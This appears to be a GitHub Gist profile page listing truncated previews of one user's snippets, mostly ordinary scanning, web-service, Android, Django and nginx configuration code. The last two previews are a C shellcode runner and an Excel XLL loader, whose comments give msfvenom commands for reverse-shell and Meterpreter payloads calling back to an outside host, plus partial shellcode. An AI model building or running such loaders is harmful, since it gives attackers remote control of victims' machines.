Skip to content

Instantly share code, notes, and snippets.

View PaulSec's full-sized avatar

Paul PaulSec

View GitHub Profile
@PaulSec
PaulSec / nuclei.sh
Created August 20, 2021 07:06
Nuclei bash script to automate discovery with httpx and scanning and store results in /tmp/nuclei/<date>/
#!/bin/bash
set -x
foo=`date +'%Y_%m_%d'`
database="/path/to/my/sql_app.db"
nucleitemplates="/path/to/my/nuclei-templates/"
cd $nucleitemplates
git pull
output_folder="/tmp/nuclei/$foo"
mkdir -p $output_folder
echo -e ".mode csv\n.out /tmp/nuclei/$foo/domains.csv\nselect domain from domain;" | sqlite3 $database
@PaulSec
PaulSec / main.go
Last active April 11, 2021 13:30
Wappalyzergo as a Service
package main
import (
"crypto/tls"
"io/ioutil"
"net/http"
"github.com/gin-gonic/gin"
wappalyzer "github.com/projectdiscovery/wappalyzergo"
@PaulSec
PaulSec / MainActivity.java
Last active June 28, 2020 13:14
MainActivty.java used for my blog post about Android Instrumentation with Smali
package com.example.myapplication;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Base64;
import android.util.Log;
import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
> Task :remoteClientLib:mergeDebugJniLibFolders FAILED
FAILURE: Build failed with an exception.
* What went wrong:
Failed to capture fingerprint of input files for task ':remoteClientLib:mergeDebugJniLibFolders' property 'sourceFolderInputs' during up-to-date check.
> Could not list contents of '/builds/PaulSec/kali-nethunter-kex/remoteClientLib/src/main/jniLibs/arm64-v8a'. Couldn't follow symbolic link.
* Try:
@PaulSec
PaulSec / now.json
Created March 30, 2020 06:58
Zeit.co now.json configuration file
{
"version": 2,
"name": "android-version-checker",
"public": false,
"builds": [{ "src": "main.py", "use": "@now/python" }],
"routes": [
{ "src": "/", "dest": "main.py" },
{ "src": "/app/(.*)", "dest": "main.py" }
]
}
#!/bin/bash
cd /path/to/my/app/
source env/bin/activate
python manage.py makemigrations;
python manage.py migrate;
python manage.py collectstatic --noinput;
gunicorn --access-logfile - --workers 1 --bind unix:/path/to/my/app/socket.sock cfptime.wsgi:application
@PaulSec
PaulSec / nginx.conf
Created January 26, 2020 07:27
Nginx example (proxy-pass) + simple static page
user www-data;
worker_processes 4;
pid /run/nginx.pid;
http {
server {
listen 80 default_server;
listen [::]:80 default_server ipv6only=on;
return 301 https://$host$request_uri;
@PaulSec
PaulSec / index.haml
Created October 26, 2019 19:33
Kung Fury - Hackerman's screen
.page
.confirm
.inner
You're about to hack time, are you Sure?
%input{:type => 'radio', :name => 'hack', :id => 'warp', :value => 'yes'}
%label{:for => 'warp'}
%span Yes
%input{:type => 'radio', :name => 'hack', :id => 'nope', :value => 'no'}
%label{:for => 'nope'}
%span No
// Compile with: cl.exe shellcode_execute.c
//
// Author: Arno0x0x, Twitter: @Arno0x0x
#include <Windows.h>
int main()
{
// Payload obtained with "msfvenom -a x86 -p windows/shell/reverse_tcp LHOST=192.168.52.134"
unsigned char b[] =
// Compile with: cl.exe x86_meterpreter_reverse_http.c /LD /o x86_meterpreter_reverse_http.xll
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
// Payload obtained via "msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f c"
unsigned char b[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"